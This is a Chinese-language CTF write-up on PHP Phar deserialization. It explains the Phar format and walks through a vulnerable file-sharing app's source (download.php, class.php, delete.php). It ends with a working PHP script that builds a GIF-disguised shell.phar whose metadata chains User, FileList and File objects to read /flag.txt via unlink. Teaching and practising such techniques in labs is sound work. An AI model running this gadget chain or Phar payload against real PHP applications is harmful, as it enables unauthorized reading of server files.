知识点:信息搜集,Phar反序列化 phar知识点分析 phar文件的结构主要分为四个部分:
1.stub phar文件的表示,类似于gif文件的GIF89a,以 xxx<?php xxx;__HALT__COMPILER();?>为固定形式,前面内容可以变,点必须以HALTCOMPILER();?>结尾。
2.a mainfest describing the contents
该部分是phar文件中被压缩的文件的一些信息,其中meta-data部分的信息会被序列化,即执行serialize()函数,而phar://就相当于对这部分的内容进行反序列化,此处也正是漏洞点所在。
3.the file contents 这部分存储的是文件的内容,在没有其它特殊要求的情况下,这里面的内容不做约束。
4.a signature for verifying Phar integrity 数字签名。放在最末。
phar反序列化使用前提条件 phar反序列化使用条件 phar文件可上传
文件流操作函数如file_exists(),file_get_content(),fopne()要有可利用的魔法方法作为“跳板”。
文件流参数可控,且phar://协议可用。
注意:想要生成phar文件记得把php.ini中的phar.readonly选项设置为Off,否则将无法生成phar文件
要找到php.ini的话,linux下,若已经配置了php环境的话,可以用find命令寻找绝对路径;windows下可以直接在phpmystudy或xmapp中找到打开。
phar文件生成基本架构:
弄到download.php代码如下:
<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?>
弄到class.php的源码如下:
<?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
Delete.PHP如下:
<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
这里面我们发现了一堆类的定义和一个重要的漏洞点file_get_contents(),并且它并没有对这里的文件流进行相关的过滤和限制,所以我们的核心点是通过这个函数来达成文件内容获取的作用。那么我们需要怎么实现这个效果呢。我们在上去看类中的相关代码。
我们可以看到有序列化的相关特征魔术方法,如call(),这个方法是在对象上下文中调用不可访问的方法触发。我们在关注到User类中的desturcut(),发现这里调用了close()方法,而这个方法正是指向了我们所说的file_get_content(),此时我们就有了简单而基础的逻辑,就是从User->destruct()=>File->close()
但是这时候我们又会发现,没有回现啊。那怎么办呢。此时我们回过头来看之前class()方法中的内容,发现它就是遍历files数组,并且对每一个变量执行一次$func函数,然后将结果存进$result中,然后代码执行结束时,FileList中的destruct()会执行其内部的代码,将result的结果进行回显。欸,此时我们的思路又更加清晰了一些,变为了User->destruct()=>FileList->call()=>File->close()=>FileList->__destruct()
但是此时我们又会发现,欸,那要怎么出发这个User的destrcut呢,那这里我们就要联想到delete.php这个所实现的功能了。可以通过unlink来实现。
最后具体实现代码如下:
<?php //User->destruct()=>FileList->call()=>File->close()=>FileList->__destruct() class User { public $db; public function __construct() { $this->db = new FileList(); } } class FileList { private $files; private $results; private $funcs; public function __construct() { $this->files = array(new File()); } } class File { public $filename; public function __construct() { $this->filename = "/flag.txt"; } } $user = new User(); $phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar $phar-> startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub $phar->setMetadata($user); //将对象user写入到metadata中 $phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha $phar->stopBuffering(); ?>
ps:请注意,$this->db 这个db不需要加$了!!!!